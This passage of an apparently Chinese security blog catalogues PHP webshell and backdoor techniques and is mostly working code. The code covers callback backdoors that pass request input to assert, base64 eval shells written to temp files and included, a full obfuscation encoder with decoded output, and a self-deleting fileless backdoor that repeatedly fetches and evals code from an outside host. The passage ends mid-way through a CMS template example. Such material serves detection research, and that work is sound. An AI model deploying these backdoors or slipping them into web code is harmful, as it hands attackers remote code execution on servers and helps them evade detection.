http://blog.csdn.net/isosky/article/details/6460558 http://hackerxian.blog.51cto.com/9240575/1613367
0x45: 利用session_set_save_handler callback部署webshell
<?php error_reporting(0); $session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert // open第一个被调用,类似类的构造函数 function open($save_path, $session_name) {} // close最后一个被调用,类似 类的析构函数 function close() { } // 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op']) session_id($_REQUEST['op']); function write($id, $sess_data) {} function destroy($id) {} function gc() {} // 第三个参数为read read(string $sessionId) session_set_save_handler("open", "close", $session, "write", "destroy", "gc"); @session_start(); // 打开会话 $cloud = $_SESSION["d"] = "c"; ?>
0x46: 利用include、pack隐藏webshell
利用PHP的include可以引入外部代码的特性,实现WEBSHELL代码的隐藏
<?php echo bin2hex("<?php echo hello; ?>"); ?> //3c3f706870206563686f2068656c6c6f3b203f3e <?php @include(pack("H*", "3c3f706870206563686f2068656c6c6f3b203f3e")); ?>
0x47: 通过将恶意代码写入临时磁盘文件,然后include进当前代码空间进行执行,运行之后删除临时文件
<?php $cfg_ml='PD9waHAgQGV2YWwoJF9QT1NUWydndWlnZSddKT8+'; //<?php @eval($_POST['guige'])?> $cfg_ml = base64_decode($cfg_ml); $t = md5(mt_rand(1,100)); //尝试向各种可能的目录下写入临时WEBSHELL文件 $f=$_SERVER['DOCUMENT_ROOT'].'/data/sessions/sess_'.$t; @file_put_contents($f,$cfg_ml); if(!file_exists($f)) { $f=$t; @file_put_contents($f,$cfg_ml); } if(!file_exists($f)) { $f=$_SERVER['DOCUMENT_ROOT'].'/a/'.$t; @file_put_contents($f,$cfg_ml); } if(!file_exists($f)) { //向脚本所在当前目录下写入临时WEBSHELL文件 $f=$_SERVER['DOCUMENT_ROOT'].'/'.$t; @file_put_contents($f,$cfg_ml); } if(!file_exists($f)) { $f='/tmp/'.$t; @file_put_contents($f,$cfg_ml); } //通过include引入之前写入的临时WEBSHELL文件 @include($f); @unlink($f); ?>
之所以需要通过写磁盘文件进行一次"中转",是因为php不允许直接include一段字符串,但是允许一个包含php代码的文件
0x48: 利用filter_var callback特性隐藏webshell
<?php filter_var($_REQUEST['op'], FILTER_CALLBACK, array('options' => 'assert')); ?>
这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可
0x49: 数据库操作与第三方库中的回调后门
<?php $e = $_REQUEST['e']; $db = new PDO('sqlite:sqlite.db3'); $db->sqliteCreateFunction('myfunc', $e, 1); $sth = $db->prepare("SELECT myfunc(:exec)"); $sth->execute(array(':exec' => $_REQUEST['pass'])); ?>
注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert
也可以直接调用sqlite3的方法构造回调后门
<?php $e = $_REQUEST['e']; $db = new SQLite3('sqlite.db3'); $db->createFunction('myfunc', $e); $stmt = $db->prepare("SELECT myfunc(?)"); $stmt->bindValue(1, $_REQUEST['op'], SQLITE3_TEXT); $stmt->execute(); ?>
0x50: 利用特定扩展库构造回调后门
<?php $str = urlencode($_REQUEST['op']); $yaml = <<<EOD greeting: !{$str} "|.+|e" EOD; $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['op']}" => 'preg_replace')); ?>
0x51: 利用php_memcached执行webshell
<?php $mem = new Memcache(); $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);')); $mem->connect($_REQUEST['op'], 11211, 0); ?>
0x52: 利用preg_replace_callback隐藏webshell
<?php preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['op']); ?>
另一种正则替换API
<?php mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['op']); ?>
0x53: 利用CallbackFilterIterator部署回调后门
<?php $iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['op'],)), create_function('$a', 'assert($a);')); foreach ($iterator as $item) { echo $item; } ?>
Relevant Link:
http://drops.wooyun.org/tips/7279
0x54: 通过自定义加密算法进行文本编码转换加密(PHP神盾加密)
加密算法如下
<?php /** * *[MZG_PHPDP] (C)2008-2010 Powered by PHPDP.COM * Var 1.55 * #Update:- * fjyxian **/ class _MzgLock { static $enb64_rid = 70; static $enb64_rid1 = 0; static $enb64_rid2 = 0; static $enb64_array = array('q','w','e','r','t','y','u','i','o','p','a','s','d','f','g','h','j','k','l','z','x','c','v','b','n','m','_'); static $enb64_name = ''; static $enb64_sign = ''; static $enb64_sum = 3; static $preg_rid = 0; static $preg_sign=''; public function read($filename) { if (!is_file($filename)) return ''; if (function_exists("file_get_contents")) { $data = file_get_contents($filename); } else { $data = implode("", file($filename)); } return $data; } public function write($filename, $data) { $fp = @fopen($filename, "w+"); if ($fp) { flock($fp, LOCK_EX); fwrite($fp, $data); flock($fp, LOCK_UN); fclose($fp); return true; } return false; } public function getfiles($files) { $d = dir($files); $tmps = array(); while (false !== ($entry = $d->read())) { if ($entry != '.' and $entry != '..') { $tmparr = explode(".", $entry); $type = strtoupper($tmparr[count($tmparr) - 1]); if (is_file($entry) and $type == 'ZIP') { $tmps[] = $entry; } } } $d->close(); return $tmps; } public function ischarset($str) { //注意无中文时,无论是不是UTF8格式都当UTF8返回 $lang_arr = array('UTF-8', 'GBK', 'BIG5'); foreach ($lang_arr as $val) { if (iconv_strlen($str, $val)) { return $val; } } } public function setcharset($out_charset, $str) { $out_charset = strtoupper($out_charset); if (!self::ischarset($str)) return $str; $in_charset = self::ischarset($str); if ($in_charset != $out_charset) { if (function_exists('iconv') and @iconv($in_charset, $out_charset, $str) == true) { return iconv($in_charset, $out_charset, $str); } elseif (function_exists('mb_convert_encoding') and @mb_convert_encoding($str, $in_charset, $out_charset) == true) { return mb_convert_encoding($str, $in_charset, $out_charset); } } return $str; } private function expstr($str) { return "?>" . $str . "<?php "; } private function inrandstr($strdata, $base64_decode = '', $deb64_func = '', $b64_key = '',$is_func=0) { $rs = strlen($strdata) / rand(2, 4); $randvar = ""; for ($i = 0; $i <= rand(2, 8); $i++) $randvar .= $strdata{$rs + $i}; if ($deb64_func) { return str_replace($randvar, '\'.' . ($base64_decode ? '$' . $base64_decode : 'base64_decode') . '(' . $deb64_func . '(\'' . self::enb64(base64_encode($randvar)) . '\',\'' . $b64_key . '\')).\'', $strdata); } else { return $strdata; } } public function encode($strdata, $base64_decode = '', $gzuncompress = '', $deb64_func = '', $b64_key = '', $preg_replace = '', $preg_pre = '', $eval_name1 = '', $preg_pre_md5 = '',$enb64_sign_name='',$is_func=0) { $characters = array("r", "s", "f", "D", "w", "F", "f", "H", "p", "j", "N", "f", "d", "T", "V", "W", "s", "x", "n"); $restdata = ""; $rid = rand(0, count($characters) - 1).rand(0, count($characters) - 1).rand(0, count($characters) - 1); if ($is_func) { $b64_data = $strdata; $b64_rid = rand(64, 128); $b64_data_pre = base64_encode(gzcompress(substr($b64_data,0,strlen($b64_data)-$b64_rid), 9)); $b64_data_end = substr($b64_data,$b64_rid*-1); self::$enb64_sign =base64_encode(gzcompress($b64_data_end, 9)); $restdata = '$' . $preg_replace . '($' . $preg_pre . ',$' . $eval_name1 . '.\'(@$' . $gzuncompress . ($' . $base64_decode . '(\\\'' . self::inrandstr(str_replace($rid, $rid . chr(rand(128, 250)), $b64_data_pre), $base64_decode, $deb64_func, $b64_key,$is_func) . '\\\')).' . '$' . $gzuncompress . '($'.$base64_decode.'($'.$enb64_sign_name.')))\',"' . $preg_pre_md5 . '")'; } else { $b64_data = base64_encode(gzcompress($strdata, 9)); $b64_data_pre = substr($b64_data,0,strlen($b64_data)-32); $b64_data_end = substr($b64_data,-32); self::$enb64_sign =''; $preg_sign_b64 = base64_encode($b64_key.$deb64_func); self::$preg_rid=rand(4,strlen($preg_sign_b64)-4); self::$preg_sign = (self::$preg_rid%2==0?chr(rand(129,214)):'').substr($preg_sign_b64,0,self::$preg_rid).(self::$preg_rid%3==0?chr(rand(129,214)):''); for ($i=0;$i<rand(1,3);$i++) { $b64_data_end = base64_encode($b64_data_end); $srid = rand(0,strlen($b64_data_end)-1); $b64_data_end = str_replace($b64_data_end{$srid}.$b64_data_end{$srid+1},$b64_data_end{$srid}.$b64_data_end{$srid+1}.self::$preg_sign,$b64_data_end); } $restdata = '$' . $preg_replace . '($' . $preg_pre . ',$' . $eval_name1 . '.\'(@$' . $gzuncompress . '($' . $base64_decode . '(\\\'' . self::inrandstr(str_replace($rid, $rid . chr(rand(128, 250)), $b64_data_pre), $base64_decode, $deb64_func, $b64_key,$is_func) . '\\\'.($'.self::$enb64_name.'.='.self::$enb64_name.'($'.self::$enb64_name.')))))\',"' . $preg_pre_md5 . '".($'.self::$enb64_name.'=\''.addcslashes($b64_data_end,"'").'\'))'; } return $restdata; } public function E($code) { return self::intocode($code,0,"",array(),""); } public function intocode($codedata, $rankcount, $defile_data, $copyright, $usercode) { $rand_arr = array(68,70,72,74,76,78,80,92,96,98,90); self::$enb64_rid = $rand_arr[rand(0,count($rand_arr)-1)]; self::$enb64_name=chr(rand(129, 214)) . rand(550, 559) . chr(rand(129, 214)); self::$enb64_sum = rand(2,5); self::$enb64_rid1 = rand(129,150); self::$enb64_rid2 = rand(180,214); $base64_decode1 = chr(rand(129, 214)) . rand(20, 29) . chr(rand(129, 214)); $base64_decode2 = chr(rand(129, 214)) . rand(30, 39) . chr(rand(129, 214)); $base64_decode_value = self::enb64('base64_decode'); $preg_replace = chr(rand(129, 214)) . rand(470, 479) . chr(rand(129, 214)); $preg_replace_value = self::enb64('preg_replace'); $str_replace_value = self::enb64('str_replace'); $preg_pre = chr(rand(129, 214)) . rand(480, 489) . chr(rand(129, 214)); $preg_pre_md5 = md5($preg_pre); $preg_pre_value = self::enb64('/' . $preg_pre_md5 . '/e'); $gzuncompress = chr(rand(129, 214)) . rand(70, 79) . chr(rand(129, 214)); $gzuncompress_value = self::enb64('gzuncompress'); $eval_name1 = chr(rand(129, 214)) . rand(140, 149) . chr(rand(129, 214)); $eval_name2 = chr(rand(129, 214)) . rand(150, 159) . chr(rand(129, 214)); $eval_value = self::enb64('eval'); $deb64_func = chr(rand(129, 214)) . rand(170, 179) . chr(rand(129, 214)); $deb64_name = chr(rand(129, 214)) . rand(180, 189) . chr(rand(129, 214)); $deb64_func_name = chr(rand(129, 214)) . rand(290, 299) . chr(rand(129, 214)); $deb64_func_value = self::enb64var('base64_decode'); $enb64_sign_name = chr(rand(129, 214)) . rand(670, 679) . chr(rand(129, 214)); $ae_name = chr(rand(129, 214)) . rand(190, 199) . chr(rand(129, 214)); $ord_name = chr(rand(129, 214)) . rand(190, 199) . chr(rand(129, 214)); $chr_name = chr(rand(129, 214)) . rand(200, 209) . chr(rand(129, 214)); $strlen_name = chr(rand(129, 214)) . rand(300, 309) . chr(rand(129, 214)); $ord_value = self::enb64var('ord'); $chr_value = self::enb64var('chr'); $strlen_value = self::enb64var('strlen'); $b245_name = chr(rand(129, 214)) . rand(210, 219) . chr(rand(129, 214)); $b245_value = self::enb64var(245); $b140_name = chr(rand(129, 214)) . rand(220, 229) . chr(rand(129, 214)); $b140_value = self::enb64var(self::$enb64_rid*2); $b2_name = chr(rand(129, 214)) . rand(230, 239) . chr(rand(129, 214)); $b2_value = self::enb64var(2); $b0_name = chr(rand(129, 214)) . rand(240, 249) . chr(rand(129, 214)); $b0_value = self::enb64var(0); $bvar_name = chr(rand(129, 214)) . rand(250, 259) . chr(rand(129, 214)); $btmp_name = chr(rand(129, 214)) . rand(260, 269) . chr(rand(129, 214)); $b64_key_name = chr(rand(129, 214)) . rand(300, 309) . chr(rand(129, 214)); $b64_key = self::enb64(md5($btmp_name . $bvar_name . time())); $preg_match_name1 = chr(rand(129, 214)) . rand(620, 629) . chr(rand(129, 214)); $preg_match_name2 = chr(rand(129, 214)) . rand(300, 309) . chr(rand(129, 214)); $preg_match_value1 = self::enb64('strstr'); $preg_match_value2 = self::enb64('preg_match'); $pathinfo_name = chr(rand(129, 214)) . rand(200, 209) . chr(rand(129, 214)); $files_name = chr(rand(129, 214)) . rand(100, 109) . chr(rand(129, 214)); $pathinfo_value = self::enb64('pathinfo'); $chr_value3 = self::enb64("/([".chr(127)."-".chr(255)."]+)/"); $chr_value2 = self::enb64("/([".chr(127)."-".chr(255)."]+)/i"); $copyright['starttime'] = ($copyright['starttime'] <= 0) ? time() : $copyright['starttime']; $restdata = self::setcharset($copyright['outlang'], self::expstr($codedata)); $restdata = ($defile_data ? $defile_data.$restdata : $restdata). '$GLOBALS[decode_fp_sign]=$GLOBALS[' .self::$enb64_name . ']=$GLOBALS[' .$gzuncompress . ']=$GLOBALS[' .$base64_decode1 . ']=$GLOBALS[' . $enb64_sign_name .']=$GLOBALS[' .$preg_replace . ']=$GLOBALS[' .$preg_pre . ']=$GLOBALS[' .$eval_name1 . ']=null;unset($GLOBALS[' .$preg_replace . ']);unset($GLOBALS[' .$preg_pre . ']);unset($GLOBALS[' .$eval_name1 . ']);unset($GLOBALS[' .$base64_decode1 . ']);unset($GLOBALS[' .$gzuncompress . ']);unset($GLOBALS[' .self::$enb64_name . ']);unset($GLOBALS[' . $enb64_sign_name .']);unset($GLOBALS[decode_fp_sign]);'; for ($i = 0; $i <= $rankcount; $i++) $restdata = self::encode($restdata, $base64_decode1, $gzuncompress, $deb64_func, $b64_key, $preg_replace, $preg_pre, $eval_name1, $preg_pre_md5,$enb64_sign_name) .';'; $file_rid = rand(814,2048); $preg_sign = self::$preg_sign; $preg_data = self::encode('$' . $eval_name2 . '=' . $deb64_func . '(\'' . $str_replace_value .'\',\'' . $b64_key . '\');$'.$preg_match_name1 .'=' . $deb64_func . '(\'' . $preg_match_value1 . '\',\'' . $b64_key . '\');if($'.$preg_match_name1.'($'.$ae_name.',\''.$preg_sign.'\')){$'.$ae_name.'=$' . $eval_name2 . '(\''.$preg_sign.'\',\'\',$'.$ae_name.');$'.$ae_name.'=@$'.$base64_decode1.'($'.$ae_name.');'.self::$enb64_name.'($'.$ae_name.');} else {$'.$preg_match_name2 .'=' . $deb64_func . '(\'' . $preg_match_value2 . '\',\'' . $b64_key . '\');if ($'.$preg_match_name2 .'("/(.+?)\.(.*?)\(/",__FILE__,$'.$files_name.')) {$fileext = $'.$files_name.'[2];$'.$files_name.'=$'.$files_name.'[1];} else {$'.$files_name.'=__FILE__;$filenameex = explode(".", $'.$files_name.');$fileext = $filenameex[count($filenameex)-1];}$decode_fp=fopen($'.$files_name.'.".".$fileext,\'r\');$decode_fp_sign=fread($decode_fp,filesize($'.$files_name.'.".".$fileext));fclose($decode_fp);(substr($decode_fp_sign,-32)!=md5(md5(substr($decode_fp_sign,0,'.$file_rid.')).\''.$deb64_func.$b64_key.'\'))&&'.$pathinfo_name.'(); unset($decode_fp_sign); }', $base64_decode1, $gzuncompress, $deb64_func, $b64_key, $preg_replace, $preg_pre, $eval_name1, $preg_pre_md5,$enb64_sign_name,1).';'; $newzipdata = self::setcharset($copyright['outlang'], '<?php ' . $usercode . $copyright['copyright'] . $idxdata . ' if (!defined(\''.$base64_decode2.'\')) {\\end define(\''.$base64_decode2.'\', true);\\end function ' . $deb64_func .'($' . $deb64_func . ',$' . $b64_key_name . '=\'\'){\\end global $' . $enb64_sign_name .';\\end if(!$' . $b64_key_name .')return(base64_decode($' . $deb64_func . '));\\end $' . $deb64_func_name . '=' . $deb64_func .'(\'' . $deb64_func_value . '\');\\end $' . $ord_name . '=' . $deb64_func . '(\'' . $ord_value .'\');\\end $' . $chr_name . '=' . $deb64_func . '(\'' . $chr_value . '\');\\end $' . $b0_name .'=' . $deb64_func . '(\'' . $b0_value . '\');\\end $' . $b140_name . '=' . $deb64_func .'(\'' . $b140_value . '\');\\end $' . $b245_name . '=' . $deb64_func . '(\'' . $b245_value .'\');\\end $' . $b2_name . '=' . $deb64_func . '(\'' . $b2_value . '\');\\end $' . $btmp_name .'=' . $deb64_func . '(\'' . $btmp_name . '\');\\end $' . $strlen_name .'=' . $deb64_func . '(\'' . $strlen_value . '\');\\end $' . $enb64_sign_name .'=\''.self::$enb64_sign.'\';\\end for($' . $bvar_name . '=$' . $b0_name .';$' . $bvar_name . '<$'.$strlen_name.'($' . $deb64_func . ');$' . $bvar_name . '++)\\end $' . $btmp_name .'.=$' . $ord_name . '($' . $deb64_func . '{$' . $bvar_name . '})<$' . $b245_name .'?(($' . $ord_name . '($' . $deb64_func . '{$' . $bvar_name . '})>$' . $b140_name .'&&$' . $ord_name . '($' . $deb64_func . '{$' . $bvar_name . '})<$' . $b245_name .')?$' . $chr_name . '($' . $ord_name . '($' . $deb64_func . '{$' . $bvar_name .'})/$' . $b2_name . '):$' . $deb64_func . '{$' . $bvar_name . '}):"";return($' .$deb64_func_name . '($' . $btmp_name . '));}\\end function '.self::$enb64_name.'(&$'.$ae_name.'=\'\'){\\end global $'.$base64_decode1.',$'.$gzuncompress.',$'.$preg_replace.',$'.$preg_pre.',$'.$eval_name1.',$' . $enb64_sign_name .';\\end '.$preg_data.' }\\end }\\end global $'.$base64_decode1.',$'.$gzuncompress.',$'.$preg_replace.',$'.$preg_pre.',$'.$eval_name1.',$' . $enb64_sign_name .';\\end $' .$preg_replace . '=' . $deb64_func . '(\'' . $preg_replace_value . '\',\'' . $b64_key .'\');\\end $' . $preg_pre . '=' . $deb64_func . '(\'' . $preg_pre_value . '\',\'' . $b64_key .'\');\\end $' . $base64_decode1 . '=' . $deb64_func . '(\'' . $base64_decode_value . '\',\'' .$b64_key . '\');\\end $' . $eval_name1 . '=' . $deb64_func . '(\'' . $eval_value .'\',\'' . $b64_key . '\');\\end $' . $gzuncompress . '=' . $deb64_func . '(\'' . $gzuncompress_value .'\',\'' . $b64_key . '\');\\end $' . $enb64_sign_name .'=\'\';\\end ' . $restdata .'\\end return true;?>'); $newzipdata = str_replace(array("\\end\r\n"," "),"",$newzipdata); return $newzipdata.(md5(md5(substr($newzipdata,0,$file_rid)).$deb64_func.$b64_key)); } function enb64var($tmp) { $tmp = base64_encode($tmp); for ($i = 0; $i < strlen($tmp); $i++) $newtmp .= (ord($tmp{$i}) % rand(1, 2) == 0) ? chr(rand(128, 250)) . $tmp{$i} : $tmp{$i}; return $newtmp; } function deb64($tmp) { for ($i = 0; $i < strlen($tmp); $i++) $newtmp .= ord($tmp{$i}) < 245 ? ((ord($tmp{ $i}) > (self::$enb64_rid*2) and ord($tmp{$i}) < 245) ? chr(ord($tmp{$i}) / 2) : $tmp{$i}) : ''; return base64_decode($newtmp); } function enb64($a) { $b = base64_encode($a); for ($i = 0; $i < strlen($b); $i++) { $tmp .= (ord($b{$i}) > self::$enb64_rid ? chr(ord($b{$i}) * 2) : $b{$i}); } return $tmp; } function deb10($a) { $s=0; for($i=self::$enb64_rid1;$i<self::$enb64_rid2;$i++){ $ts[$i] = self::$enb64_array[$s]; $s++; } for($j=0;$j<strlen($a)/3;$j++){ $aa=$a{$j*3}.$a{($j*3+1)}.$a{($j*3+2)}; $as[] = $aa; $bs[] = $ts[$aa]; } return str_replace($as,$bs,$a); } function enb10($a) { $s=0; for($i=self::$enb64_rid1;$i<self::$enb64_rid2;$i++){ $ts[self::$enb64_array[$s]] = $i; $s++; } for($j=0;$j<strlen($a);$j++){ $as[] = $a{$j}; $bs[] = $ts[$a{$j}]; } return str_replace($as,$bs,$a); } } ?>
使用方式
<?php /** * *[MZG_PHPDP] (C)2008-2010 Powered by PHPDP.COM * Var 1.55 * #Update:- * fjyxian **/ require './en1.55.class.php'; //_MzgLock::E(code); file_put_contents('test.php',_MzgLock::E("<?php echo 'hi'; ?>")); //test.php ?>
这种神盾加密的核心技术点如下
1. 利用了php变量扩充到 latin1 字符范围,其变量匹配正则是 \$[a-zA-Z_\x7f-\xff][\w\x7f-\xff]* 这样的格式 2. 使用preg_replace \e进行代码执行
解密后代码如下
<?php //Start code decryption<<=== if (!defined('IN_DECODE_82d1b9a966825e3524eb0ab6e9f21aa7')) { define('\xA130\x8C', true); function fun1($str, $flg="") { if(!$flg) return(base64_decode($str)); $ret = '?'; for($i=0; $i<strlen($str); $i++) { $c = ord($str[$i]); $ret .= $c<245 ? ( $c>136 ? chr($c/2) : $str[$i] ) : ""; } return base64_decode($ret); } function fun2(&$p14) { global $base64_decode, $gzuncompress, $preg_replace, $xxx_e, $eval, $p3; @$preg_replace($xxx_e, $eval . '(@$gzuncompress($base64_decode(\'eNq9kl1r01AYx79KG0JzDqZJT9KkL2ladXYgWxVsh6iTkCYna7o2yZL0dfTGG0GkoHhVi1dFxi5EZv0KvRSRMYYfQob0A5g0bM6BF0Pw4rw9539+53nO+ZeKhZLTcGKmAeII5kvFgqe5puPH/IGDZcLHfZ9tql01ihLFnmnpdo9p2Zrqm7bFNFxsyETD9508y/Z6P' . $base64_decode(fun1('\xAC\xA8\x94\x8E\xA2\xD65\xE6\xA4\xA8\x8A=', '\x9E\xA8A4\xB4D\x92\xF0\xB4\x8E\x8C\xD8\x9A\xF4\xD61\x9C\xA8\xC60\x9A\xF4\xA4\xD4\xB2\xF4\x9A3\x9A\xD4\xCE\xEE\x9C\xDA\xB4\xD2\x9A\xF4\x8A3\x9C\x8E\xAA=')) . 'juztsoMT9cF1q27qsY83WcSLslF08kLOcjuo5NSeKWU7AvMClcT2l1kWcMzikqpmEZ+5YssiJWMO6kVY5geezhihkNYx4MZtDGp9OpwmpwEapFQvxZDKqBVu6aUjkcySgZ/IhyqDPgFrws58f+Teni/HZ1yPuUKZo6t3BrfT8zuuz+fjl6WR5gqYHi9RkOTs+Wk74yfGXH9Pv82+T5Qt+Og7kUCLfB8nMLvPCdn1O8NIRCpCfUE4Y05S117h9b/NBebe7lmraw0ftbu1h5fHA7jfX1NxGbcvrVtWK4G4NO6LGubVqu1vdqAiD+3vNVACE+xFHjgoG/4ajKYqOeEHFEfcmeZLJvgXnUdOIAcfFO0pb9bUGIFjA3CjB7fCjtwFL0IqyfnezrCg0+QGl+FcQxvajmRwNT9BTaRTDLQ9fbJwfkUZkZBPFcGTDdrAFIgVDhHiCptzwIy40ysojhotVHfyO0obZwp45xH8ehlAytJbt4UtSKAGvU/d8F1yB0kmeg3G5rQsgbH8RpVYyyFArU1zPBzCR0E0MqPUg2WoAy5fdsLiO5WH/6kVQGv1n1/wChxaEtA==\')).$gzuncompress($base64_decode($p3)))', "82d1b9a966825e3524eb0ab6e9f21aa7"); } } global $base64_decode, $gzuncompress, $preg_replace, $xxx_e, $eval, $p3; $preg_replace = 'preg_replace'; $xxx_e = '/82d1b9a966825e3524eb0ab6e9f21aa7/e'; $base64_decode = 'base64_decode'; $eval = 'eval'; $gzuncompress = 'gzuncompress'; $p3 = ''; @$preg_replace($xxx_e, $eval . '(@$gzuncompress($base64_decode(\'eNplks9Og0AQxu8mvgMlxrYHoMCyQPkXvdhDE5to4sE0BtihoMgSSqWN8RV60pMX73oy8RG8e/J5bLutIeWyyfebnS/zTcZzbS+Pcy6JOi252/dcexoWSV5y5SIHhy9hXkq3/oPPKO9WSUZoJaY09MuEZmJcQOTwcVnmfUmqqkpcmZFcpMVEWv2E+Vp795Q4BEJK4Hj93NzBwjEUIgemb2JsKB' . $base64_decode(fun1('\xB21\xC65\xC8A==', '\x9E\xA8A4\xB4D\x92\xF0\xB4\x8E\x8C\xD8\x9A\xF4\xD61\x9C\xA8\xC60\x9A\xF4\xA4\xD4\xB2\xF4\x9A3\x9A\xD4\xCE\xEE\x9C\xDA\xB4\xD2\x9A\xF4\x8A3\x9C\x8E\xAA=')) . 'oIg6PkBBjNSZN/Xj6fJJHOwgiEEEiFf0VTViLBmhCCr2DDlUEUI8ZYtsdFcuyUILAtkJIksjyU7PIAwplx7AGlKuStapMQOCrdt7QqXcTLlRoPRmmx7uKOz4fnpyfDi+k3T8HLs/Otf3XityU9Fea/JL6z36uUXpOOfmn5GhvpR00sZoe+xk83S1JplUyg7e63dfcwcGpgZNfBmvAbdZGhQ\'.($p20.=fun2($p20)))))', "82d1b9a966825e3524eb0ab6e9f21aa7" . ($p20 = 'x\xDA\xCB) vnqhBNLREkvC0jozYmvTWMZyoxjCa9KTUsvSaM5rUzu6c2rTSmvSKM5yOqj0= O\FF.\xADH5\xCF2\x88\xF0u\x8BL*\xCD\xF2223. \xB1\xF0\FF1\xCF+\x02\x00\xB6\xCA \xBE')); //End of the decryption code===>> return true;?>76cde264ef549deac4d0fae860b50010
Relevant Link:
http://www.phpdp.org/ http://www.zhaoyuanma.com/phpjm.html http://www.jb51.net/article/50490.htm http://m.blog.csdn.net/blog/cloverphp/39896813
0x55: PHP无文件后门(内存运行)
<?php unlink($_SERVER['SCRIPT_FILENAME']); ignore_user_abort(true); set_time_limit(0); $remote_file = 'http://xsser.me/eval.txt'; while($code = file_get_contents($remote_file)){ @eval($code); sleep(5); }; ?>
将WEBSHELL传到服务器之后可能会被IDS删除。但该WEBSHELL依然会在后台执行远程文件中的代码
Relevant Link:
http://www.code521.com/index.php/archives/474#comment-6873
0x56: 利用CMS模版特性生成WEBSHELL
CMS提供了大量的模版标签,类似smarty的作用,这个特性可以使得WEBSHELL完全隐藏例如<?php这种语法标签,从而逃离词法解析的检测
下面这个模版文件会被ECSHOP编译为PHP文件
<?php echo $this->smarty_insert_scripts(array('files'=>'utils.js,transport.js')); ?> <table width="100%" border="0" cellpadding="5" cellspacing="1" bgcolor="#dddddd"> <tr> <td bgcolor="#ffffff"> <?php echo $this->_var['lang']['country_province']; ?>: <select name="country" id="selCountries_<?php echo $this->_var['sn']; ?>" onchange="region.changed(this, 1, 'selProvinces_<?php echo $this->_var['sn']; ?>')" style="border:1px solid #ccc;"> <option value="0"><?php echo $this->_var['lang']['please_select']; ?></option> <?php $_from = $this->_var['country_list']; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'country');if (count($_from)): foreach ($_from AS $this->_var['country']): ?> <option value="<?php echo $this->_var['country']['region_id']; ?>" <?php if ($this->_var['choose']['country'] == $this->_var['country']['region_id']): ?>selected<?php endif; ?>><?php echo $this->_var['country']['region_name']; ?></option> <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?> </select> <select name="province" id="selProvinces_<?php echo $this->_var['sn']; ?>" onchange="region.changed(this, 2, 'selCities_<?php echo $this->_var['sn']; ?>')" style="border:1px solid #ccc;"> <option value="0"><?php echo $this->_var['lang']['please_select']; ?></option> <?php $_from = $this->_var['province_list'][$this->_var['sn']]; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'province');if (count($_from)): foreach ($_from AS $this->_var['province']): ?> <option value="<?php echo $this->_var['province']['region_id']; ?>" <?php if ($this->_var['choose']['province'] == $this->_var['province']['region_id']): ?>selected<?php endif; ?>><?php echo $this->_var['province']['region_name']; ?></option> <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?> </select> <select name="city" id="selCities_<?php echo $this->_var['sn']; ?>" onchange="region.changed(this, 3, 'selDistricts_<?php echo $this->_var['sn']; ?>')" style="border:1px solid #ccc;"> <option value="0"><?php echo $this->_var['lang']['please_select']; ?></option> <?php $_from = $this->_var['city_list'][$this->_var['sn']]; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'city');if (count($_from)): foreach ($_from AS $this->_var['city']): ?> <option value="<?php echo $this->_var['city']['region_id']; ?>" <?php if ($this->_var['choose']['city'] == $this->_var['city']['region_id']): ?>selected<?php endif; ?>><?php echo $this->_var['city']['region_name']; ?></option> <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?> </select> <select name="district" id="selDistricts_<?php echo $this->_var['sn']; ?>" <?php if (! $this->_var['district_list'][$this->_var['sn']]): ?>style="display:none"<?php endif; ?> style="border:1px solid #ccc;"> <option value="0"><?php echo $this->_var['lang']['please_select']; ?></option> <?php $_from = $this->_var['district_list'][$this->_var['sn']]; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'district');if (count($_from)): foreach ($_from AS $this->_var['district']): ?> <option value="<?php echo $this->_var['district']['region_id']; ?>" <?php if ($this->_var['choose']['district'] == $this->_var['district']['region_id']): ?>selected<?php endif; ?>><?php echo $this->_var['district']['region_name']; ?></option> <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?> </select> <input type="submit" name="Submit" class="bnt_blue_2" value="<?php echo $this->_var['lang']['search_ship']; ?>" /> <input type="hidden" name="act" value="viewship" /> </td> </tr> </table> <table width="100%" border="0" cellpadding="5" cellspacing="1" bgcolor="#dddddd"> <tr> <th width="20%" bgcolor="#ffffff"><?php echo $this->_var['lang']['name']; ?></th> <th bgcolor="#ffffff"><?php echo $this->_var['lang']['describe']; ?></th> <th width="40%" bgcolor="#ffffff"><?php echo $this->_var['lang']['fee']; ?></th> <th width="15%" bgcolor="#ffffff"><?php echo $this->_var['lang']['insure_fee']; ?></th> </tr> <?php $_from = $this->_var['shipping_list']; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }; $this->push_vars('', 'shipping');if (count($_from)): foreach ($_from AS $this->_var['shipping']): ?> <tr> <td valign="top" bgcolor="#ffffff"><strong><?php echo $this->_var['shipping']['shipping_name']; ?></strong></td> <td valign="top" bgcolor="#ffffff" ><?php echo $this->_var['shipping']['shipping_desc']; ?></td> <td valign="top" bgcolor="#ffffff"><?php echo $this->_var['shipping']['fee']; ?></td> <td align="center" valign="top" bgcolor="#ffffff"> <?php if ($this->_var['shipping']['insure'] != 0): ?> <?php echo $this->_var['shipping']['insure_formated']; ?> <?php else: ?> <?php echo $this->_var['lang']['not_support_insure']; ?> <?php endif; ?> </td> </tr> <?php endforeach; endif; unset($_from); ?><?php 